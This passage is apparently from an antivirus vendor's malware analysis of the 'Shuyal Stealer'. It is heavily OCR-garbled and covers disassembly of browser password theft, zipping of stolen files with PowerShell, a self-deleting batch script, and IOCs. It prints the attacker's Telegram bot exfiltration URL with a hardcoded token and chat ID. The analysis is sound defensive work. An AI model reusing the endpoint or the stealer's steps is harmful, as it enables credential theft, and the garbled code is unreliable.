Tea rox,aword per dst [rbxi2o] ox:"slimjet”, rbx+ dhcr fUKDNdchErg29mnny4LTZ 1hiC_al- IMw6zvdTX]vacom i 10Sve0YF7VusWeYg
lea rdx,qword ptr ds: [rsi+20] t"stimjet”, [rsi t\\Users\\MacLovin\\AppData\\Local\\S1imjet\\User Data\\Default
€all sbbeafcc 1755 842¢ cesc dc09z. 7FF7C14C1250

nop
add rbx, 20
mov qword ptr
add rsi, 0
Tea rax.aword otr ss:frso+sooll

Figure 23: Targeted 19 Browsers.

B sp+C 300, rbx

Decrypted files named as ‘saved_password.txt’ are created in the temporary folder to store captured user’s
browser information.

movzx edx byte ptr" das [rax] \.ad_pafshnrds TxtH
xor byte ptr ds ],d'l
xor byte ptr df r’ax—"] dl
xor byte ptr ds: rax—s],d]
xor byte ptr ds:[rax+4],dl
xor byte ptr ds:[rax+5],dl
xor byte ptr ds:[rax+&],d]
xor byte ptr ds:[rax+7],dl
xor byte ptr ds:[rax+s],dl
xor byte ptr ds:[rax+3],d]
xor byte ptr ds:[rax+A],d]
xor byte ptr ds:[rax+B],dl
xor byte ptr ds:[rax+C],dl
xor byte ptr ds:[rax-+D],d]
xor byte ptr ds:[rax+g],dl
xor byte ptr ds:[rax+F],dl
xor byte ptr ds:

xor byte ptr ds:[rax+11],d]
xor byte ptr ds:[rax+12],dl
xor byte ptr ds: rS—J.:],d'I
mov byte ptr ds:[r8+13],
mov gword ptr ss:frsp+ 15D] rs [rsp+150] : "saved_passwords. txt"
xor ré&d,rsd
lea rdx,gword ptr ss:|ffrsp+150] [rsp+150]
1ea rex_aword ntr <z:Bran+Fz0l

Figure 24: Collected browser information stored in ‘saved_password.txt'.

sswords. txt”
sswords. txt"”
ed_passwords. txt™
d,pa ;a\urds.txt

s. txt”

saved_passwords. txt”
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How Does Shuyal Stealer Exfiltrate Data?:

* In Shuyal stealer’s operation, once it collects sensitive data—credentials, system info, screenshots, and
clipboard contents. It compresses the stolen files (often into a ZIP archive) and exfiltrates them using a
Telegram bot. This bot acts as a remote drop point controlled by the attacker.

e The malware includes a hardcoded Telegram bot token and chat ID.

¢ |t uses Telegram’s Bot API to send the archive file to the attacker’s chat.

[hxxps[:]//api.telegram[.]Jorg/[bot]7522684505:AAEODeii83B_nlpLi0bUQTnOtVdjc8yHfjQ/sendDocument?
chat_id=-1002503889864]

moy_eCx; esi

€all sbbearcc 1795 842¢ a08cdc0s2. TEFTC177EB20

mow rdx,rax Fdx: "-10025 564", rax:&"https://api,telegran. org/bot?522684505 :AAEODeT 1838_n1pLi0bUQTOL VA jeBYHT
mov_rcx, rbx Fbx: "C:\\USers\\WacL ovin\\AppData\\Local\\Temp\\runt ime.z1p

call shbeafcc 1795842¢ a08cdc092. 7FF7C14D7E00

mov_rox,rax Iax:s"hccp;://apx.ce\egram.urg/bucy;zzssa;ns:aasuoewxsza,n\prnhuqrnucvdj:synqu/sendou:umencv:hac{
€all sbbear: 7EF7C140C300

mov_rcx,ris

€all sbbeafcc 1795842¢ 208cdc092. 7FF7C177CB80 0

mov_rcx, rdi

€all sbbearcc 1795 842¢ a08cdc092. TEF7C177DE20

oo Telegram bot

mov rdx,qword ptr ss:(rop+z7l)

mp rax,F For oo ossssser 1 Chat ID

Figure 25: Telegram bot

« Shuyal stealer, once it collects credentials, system info, screenshots, and clipboard contents then it
compresses the stolen files into a ZIP archive.

Zcesceedz7a08cdc09z. TFF7C17EACI0

gall sbbeafccalaa3ad

1795842¢d
Tea rdx,qword ptr ds: [7FF7C192€C28] 00007FF7C192CC28: "Zipping directory with command:
lea rcx,qword ptr ds: [7FF7C1972E40
€all sbbeafccolasz926ae8a91desly 98 842cd93d2debedfr2ces ceed27a08cdc092. FFF7CL4DFEOD
Tea rdx,gword ptr_ss: [ rbp+1ol [rbp+10]: “powershell -command ‘\"Compress-archive -Path ‘C:\\Users\\MacLovin\\App
emp qword ptr ss:[rbj X
cmova rdx,qword pt bp+10f] [rbp+10]: "powershell -Command \"Compress-Archive -Path 'C:\\Users\\MacLovin\\App
20

mov re,qword ptr
mov_rcx,rax

€alll 8sbbeafccol 1795 842¢ ce5ceed27a08cdc092. FFF7C14DIE50
mov_rcx,rax

Compress-Archive -Path 'C:\\Users\\MacLovin\\Appbata\\Local\\Tenp\\runtime\\*" -DestinationPath 'C:\\Users\\WacLovin\\AppData\\Local\\Temp\\runtime.2ip’ -Force\" Ik

Figure 26: Zipped credential in “runtime.zip”.

* After completing its data theft and exfiltration, the Shuyal stealer attempts to erase its presence from the
infected system using a batch script named “util.bat”.

Finally, SHUYAL erases its footprint by generating and executing a batch file designed to remove the malware
and its related components. This self-deletion tactic minimizes forensic evidence, making post-infection
analysis and attribution significantly more difficult.

rca o,umuu pu s
lea rdx,qword ptr
lea rcx,gword ptr rbp+110]

€all sbbeafccola43o36aesadided 1795 842cd93d2dBbe3fr2ces coed27anBedc02. 7FF7C14C3700
nop

[rbp+110]:L"C:\\Usersi\MacLovin\\Desktopihutil.bat” I

mov rdx,qword ptr ss:[frbp-50]

mp r
jhe 8bbeafcc9la43936aesadide31795842cd93d2dBbe3f72cescoed27a08cdc092. 7FF7C14EEFB3

lea rdx,gword ptr ds:[rdxi2+2]

mov rox,gword ptr brbp-ss]

MoV Fax,rox ax:&"@echo off\ntimeout /t 2 /nobreak > nulyndel /f /q

cmp_rdx,1000
jb SbbeafccI1a43936ae8a91de31795842cd93d2d8be3f72cas ceed27a08cdc092. 7EF7C14EEFAE

Figure 27: Self-deletion command.

How Can Shuyal Stealer be Removed?
1. Reboot into Safe Mode with Networking

2. Use UltraAV antivirus to delete malicious files.
3. Detected as the following name by UltraAV: Trojan.W64.100925.Shuyal.YR
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https://ultraantivirus.com/
https://ultraantivirus.com/

D:\Sample\Unzip\September\23276118496_Shuya

@a Trojan.W64.100925.5huyal. YR

Location:
DASample\Unzip\September\23276118496_Shuyal\New folder

4810d4850ee216df639648a37004a0d4d1275a194924a53312d3403
bed7edf5c

Figure 28: Threat Detection Name.

Conclusion:

SHUYAL Stealer represents a significant danger to user privacy and system security. It harvests sensitive data such
as stored passwords, browsing history, clipboard contents, and Discord tokens, putting victims at risk of identity theft,
unauthorized access to personal accounts, and financial harm. To maintain its foothold, the malware employs
persistence techniques that enable it to consistently extract information over an extended period.

I0C:
SHA 8bbeafcc91a43936ae8a91de31795842cd93d2d8be3f72ce5c6ed27a08cdc092

C:\Users\<User>\AppData\Local\Temp\runtime\browser\tokens.txtC:\Users\

File <User>\AppData\Local\Temp\runtime\clipboard\clipboard.txtC:\Users\

Created <User>\AppData\Local\Temp\runtime\history\history.txtC:\Users\
<User>\AppData\Local\Temp\runtime\passwords\saved_passwords.txtC:\Users\
<User>\AppData\Local\Temp\runtime\pic\ss.pngC:\Users\<User>\AppData\Local\Temp\runtime.ziputil.bat

Telegram [hxxps[:])//api.telegram[.]Jorg/[bot]7522684505:AAEODeii83B_nlpLiObUQTnOtVdjc8yHfjQ/sendDocument?

Bot chat_id=-1002503889864]
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